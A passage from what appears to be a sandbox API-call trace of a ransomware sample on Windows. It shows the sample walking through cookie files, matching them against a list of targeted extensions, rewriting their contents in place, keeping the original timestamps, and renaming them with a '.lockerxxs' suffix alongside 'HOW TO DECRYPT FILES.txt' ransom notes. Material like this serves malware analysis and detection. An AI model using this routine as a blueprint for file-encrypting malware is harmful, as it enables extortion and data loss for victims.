"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.lockerxxs")) returned 1 [0088.474] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4611db50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4611db50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4611db50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", cAlternateFileName="5P74F0~1.TXT")) returned 1 [0088.474] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.475] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned 1 [0088.475] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned 1 [0088.475] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned -1 [0088.475] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0088.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.475] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.475] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.475] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.475] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@at.atwola[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0088.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.ems") returned 0 [0088.475] lstrlenA (lpString="*.ems") returned 5 [0088.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.db") returned 0 [0088.475] lstrlenA (lpString="*.db") returned 4 [0088.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.dbf") returned 0 [0088.475] lstrlenA (lpString="*.dbf") returned 5 [0088.475] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.myox") returned 0 [0088.476] lstrlenA (lpString="*.myox") returned 6 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.myo") returned 0 [0088.476] lstrlenA (lpString="*.myo") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbw") returned 0 [0088.476] lstrlenA (lpString="*.qbw") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbb") returned 0 [0088.476] lstrlenA (lpString="*.qbb") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbm") returned 0 [0088.476] lstrlenA (lpString="*.qbm") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbo") returned 0 [0088.476] lstrlenA (lpString="*.qbo") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbx") returned 0 [0088.476] lstrlenA (lpString="*.qbx") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qba") returned 0 [0088.476] lstrlenA (lpString="*.qba") returned 5 [0088.476] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qby") returned 0 [0088.476] lstrlenA (lpString="*.qby") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qbj") returned 0 [0088.477] lstrlenA (lpString="*.qbj") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.ofx") returned 0 [0088.477] lstrlenA (lpString="*.ofx") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.qif") returned 0 [0088.477] lstrlenA (lpString="*.qif") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.mye") returned 0 [0088.477] lstrlenA (lpString="*.mye") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.mbox") returned 0 [0088.477] lstrlenA (lpString="*.mbox") returned 6 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.eml") returned 0 [0088.477] lstrlenA (lpString="*.eml") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.pst") returned 0 [0088.477] lstrlenA (lpString="*.pst") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.ost") returned 0 [0088.477] lstrlenA (lpString="*.ost") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.idx") returned 0 [0088.477] lstrlenA (lpString="*.idx") returned 5 [0088.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.dbx") returned 0 [0088.478] lstrlenA (lpString="*.dbx") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.sql") returned 0 [0088.478] lstrlenA (lpString="*.sql") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.mdb") returned 0 [0088.478] lstrlenA (lpString="*.mdb") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.fdb") returned 0 [0088.478] lstrlenA (lpString="*.fdb") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.wab") returned 0 [0088.478] lstrlenA (lpString="*.wab") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.dat") returned 0 [0088.478] lstrlenA (lpString="*.dat") returned 5 [0088.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", pszSpec="*.txt") returned 1 [0088.478] lstrlenA (lpString="*.txt") returned 5 [0088.478] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0088.478] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0088.478] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt." [0088.478] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.lockerxxs" [0088.479] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.479] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x201 [0088.479] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4611db50, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4611db50, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4611db50, dwHighDateTime=0x1d2faf3)) returned 1 [0088.479] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.480] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1db, lpOverlapped=0x0) returned 1 [0088.482] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0088.482] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.482] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1db, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1db, lpOverlapped=0x0) returned 1 [0088.482] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.483] CloseHandle (hObject=0x9c) returned 1 [0088.483] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.lockerxxs")) returned 1 [0088.484] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x534b4210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x562c6900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x562c6900, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@bing[1].txt", cAlternateFileName="5PBE12~1.TXT")) returned 1 [0088.484] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.484] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@bing[1].txt") returned 1 [0088.484] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@bing[1].txt") returned 1 [0088.484] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@bing[1].txt") returned -1 [0088.485] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0088.485] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.485] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.485] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.485] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.485] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@bing[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.ems") returned 0 [0088.485] lstrlenA (lpString="*.ems") returned 5 [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.db") returned 0 [0088.485] lstrlenA (lpString="*.db") returned 4 [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.dbf") returned 0 [0088.485] lstrlenA (lpString="*.dbf") returned 5 [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.myox") returned 0 [0088.485] lstrlenA (lpString="*.myox") returned 6 [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.myo") returned 0 [0088.485] lstrlenA (lpString="*.myo") returned 5 [0088.485] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbw") returned 0 [0088.486] lstrlenA (lpString="*.qbw") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbb") returned 0 [0088.486] lstrlenA (lpString="*.qbb") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbm") returned 0 [0088.486] lstrlenA (lpString="*.qbm") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbo") returned 0 [0088.486] lstrlenA (lpString="*.qbo") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbx") returned 0 [0088.486] lstrlenA (lpString="*.qbx") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qba") returned 0 [0088.486] lstrlenA (lpString="*.qba") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qby") returned 0 [0088.486] lstrlenA (lpString="*.qby") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qbj") returned 0 [0088.486] lstrlenA (lpString="*.qbj") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.ofx") returned 0 [0088.486] lstrlenA (lpString="*.ofx") returned 5 [0088.486] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.qif") returned 0 [0088.486] lstrlenA (lpString="*.qif") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.mye") returned 0 [0088.487] lstrlenA (lpString="*.mye") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.mbox") returned 0 [0088.487] lstrlenA (lpString="*.mbox") returned 6 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.eml") returned 0 [0088.487] lstrlenA (lpString="*.eml") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.pst") returned 0 [0088.487] lstrlenA (lpString="*.pst") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.ost") returned 0 [0088.487] lstrlenA (lpString="*.ost") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.idx") returned 0 [0088.487] lstrlenA (lpString="*.idx") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", pszSpec="*.dbx") returned 0 [0088.487] lstrlenA (lpString="*.dbx") returned 5 [0088.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt", 